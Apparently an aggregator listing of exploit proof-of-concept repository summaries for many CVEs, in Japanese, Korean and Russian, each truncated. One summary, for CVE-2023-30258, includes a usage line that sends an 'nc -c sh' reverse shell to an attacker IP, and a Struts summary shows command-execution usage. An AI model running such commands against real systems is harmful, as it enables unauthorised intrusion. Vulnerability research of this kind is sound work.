CVE-2022-1040

CVE-2022-1040-sophos-rce-poc sophos rce poc sophos webmin ポータルの認証バイパスとRCEをすべて1つのスクリプトに統合; この脆弱性はSophos Firewall v18.5 MR3 18.5.3 およびそれ以前のバージョンに影響します。 緩和策: できるだけ早く最新バージョンに更新してください https://support.sophos.com/support/s/article/KB-000043853?language=enUS このスクリプトの悪用を防ぐため、無料ではありません:...

Cisco-Unified-Communications-Manager-Server-Side-Forgery-Request-Vulnerability-CVE-2026-20230

CVE-2026-20230 Cisco Unified Communications Manager SSRF 임의 파일 쓰기에서 RCE까지 PoC 도출 과정과 고찰 적용 범위: 로컬 실습 환경, 승인된 재현 환경, 취약점 검증 및 보호 규칙 분석에만 사용한다. 승인되지 않은 대상에는 사용하지 말 것. 본 문서는 CVE-2026-20230의 악용 체인, 검증 가능한 현상, 판단 로직 및 방어 관점을 주로 분석하며, 직접 복사하여 실행할 수 있는 공격 패킷, WebShell 내용 또는 명령 실행 페이로드는 제공하지 않는다. 1. 취약점...

POC-IngressNightmare-CVE-2025-1974

POC эксплойта IngressNightmare CVE-2025-1974 Разработано на основе: https://github.com/yoshino-s/CVE-2025-1974 https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities Слова дешёвы, просто смотрите код. Подробности можно найти на...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC POC для CVE-2023-30258-RCE от n0o0b Использование root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD,...

cve-2024-6387-poc

cve-2024-6387-poc состояние гонки в обработчике сигналов сервера OpenSSH sshd 7etsuo Описание Эксплойт для CVE-2024-6387, нацеленный на состояние гонки в обработчике сигналов сервера OpenSSH sshd на glibc-системах Linux. Уязвимость позволяет удалённо выполнять код с правами root из-за вызова...

CVE-2025-32579

⚠️ CVE-2025-32579 - Критическая RCE-уязвимость в плагине Sync Posts WordPress 📦 Затрагивает: Sync Posts 🧨 Оценка CVSS: 9.9 КРИТИЧЕСКАЯ 📁 Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 🧠 Обзор уязвимости Плагин Sync Posts для WordPress от SoftClever Limited содержит уязвимость...

CVE-2022-21907

CVE-2022-21907 Описание - POC для CVE-2022-21907: уязвимость удаленного выполнения кода в стеке протокола HTTP. - создано antx 2022-01-17. Подробности - Уязвимость удаленного выполнения кода в стеке протокола HTTP. - Похоже на https://github.com/antx-code/CVE-2021-31166CVE-2021-31166. - Эта...

RCE-PoC-CVE-2021-25646

CVE-2021-25646 Доказательство концепции версия на Go Обзор Этот репозиторий содержит эксплойт доказательства концепции PoC для CVE-2021-25646, критической уязвимости удалённого выполнения кода в Apache Druid. Эксплойт написан на Go и позволяет выполнять интерактивное внедрение команд через...

CVE-2020-35682

CVE-2020-35682 SD-91948: CVE-2020-35682: Уязвимость обхода аутентификации при входе через SAML в ServiceDesk Plus. Как описано ManageEngine. Если в целевой установке ServiceDesk Plus 11134 включен вход через SAML и у вас есть учетные данные пользователя с низкими привилегиями, вы можете повысить ...

CVE-2022-35914_poc

CVE-2022-35914poc GLPI Offsec Lab向けに修正: calluserfunc, arraymap, passthru 参考文献 Proving Grounds Practice Lab: GLPI で動作するように修正 https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr https://github.com/cosad3s/CVE-2022-35914-poc/blob/main/CVE-2022-35914.py Mayfly ブログ記事:...

CVE-2024-29050

CVE-2024-29050 CVE-2024-29050 — это уязвимость безопасности в криптографических службах Windows, особенно в том, как обрабатываются сертификаты во время криптографических операций. Проблема вызвана целочисленным переполнением, которое происходит, когда вычисления над данными, такими как размеры...

CVE-2022-22947

CVE-2022-22947 poc: pocsuite -r CVE-2022-22947POCEXP.py -u url --verify exp: pocsuite -r CVE-2022-22947POCEXP.py -u url --attack --command "command" Отказ от ответственности Этот инструмент предназначен только для обучения, исследований и самопроверки. Его не следует использовать в незаконных...

Telerik-UI-ASP.NET-AJAX-Exploitation

Telerik-UI-ASP.NET-AJAX-Exploitation Неограниченная загрузка файлов из-за слабого шифрования, затронутые версии CVE-2017-11317 2. Удалённое выполнение кода из-за небезопасной десериализации — CVE-2019-18935...

CVE-2021-24884

CVE-2021-24884 Formidable 4.09.04의 XSS2RCE Formidable 4.09.04는 ,,, 및 과 같은 특정 HTML 태그를 주입할 수 있도록 허용했습니다. 이로 인해 인증되지 않은 원격 공격자가 악성 링크를 주입하여 HTML 인젝션을 악용할 수 있습니다. HTML 인젝션은 인증된 사용자가 해당 링크를 따르도록 속일 수 있습니다. 링크가 클릭되면 JavaScript 코드가 실행되어 저장형 XSS로 이어질 수 있습니다. 이 취약점은 영향을 받는 시스템의 웹 기반 항목 검사 페이지에서 링크의...

CVE-2022-32548-RCE-POC

CVE-2022-32548-RCE-POC Уязвимость удаленного выполнения кода без аутентификации DrayTek CVE-2022-32548 в /cgi-bin/wlogin.cgi через поле имени пользователя Технические детали Веб-интерфейс управления уязвимых устройств DrayTek подвержен переполнению буфера на странице входа по адресу...

CVE-2022-2274

OpenSSL-src: повреждение кучи в памяти при операции с закрытым ключом RSA : CVE-2022-2274 Сводка OpenSSL-src-rust — это исходный код и логика для сборки OpenSSL из исходников, написанные на языке Rust и упакованные в виде крейта. В настоящее время поддерживаются две ветки, соответствующие двум...

CVE-2023-50780

CVE-2023-50780: Опасные MBeans, доступные через Jolokia API в Apache ActiveMQ Artemis Перечислив и проверив MBeans, доступные через Jolokia API по адресу http://127.0.0.1:8161/console/jolokia, были выявлены следующие векторы атак: Произвольная запись файла с использованием Log4J, косвенно...

CVE-2022-3552

CVE-2022-3552 Для эксплуатации уязвимости в BoxBlilling версия должна быть: "BoxBilling=4.22.1.5", и вам потребуются действительные учётные данные администратора. Если у вас есть описанная ситуация, вот шаги, которые необходимо выполнить, чтобы получить желанный RCE: Создайте виртуальное окружени...

struts2-jakarta-inject

CVE-2017-5638용 POC 익스플로잇 자신이 소유했거나 테스트할 명시적 권한이 있는 시스템에서만 이 익스플로잇을 사용하세요 설치 컴퓨터에 Go가 이미 설치되어 있다면 go get을 사용하는 것이 가장 좋습니다. go get github.com/Greynad/struts2-jakarta-inject 사용법 단일 명령 실행 struts2-jakarta-inject -u -c 'id' 의사 대화형 셸 struts2-jakarta-inject -u -i...

s2-067-CVE-2024-53677

s2-067-CVE-2024-53677 s2-067CVE-2024-53677 요약 파일 업로드 로직에 결함이 있어 공격자가 경로 순회를 활성화할 수 있으며, 이는 S2-066에서 보고된 것과 유사한 문제입니다. 이 문서를 읽어야 하는 대상 모든 Struts 2 개발자 및 사용자 취약점 영향 원격 코드 실행 최대 보안 등급 치명적Critical 권장 사항 Struts 6.4.0 이상으로 업그레이드하고 Action File Upload Interceptor를 사용하십시오. 영향을 받는 소프트웨어 Struts 2.0.0 - Stru...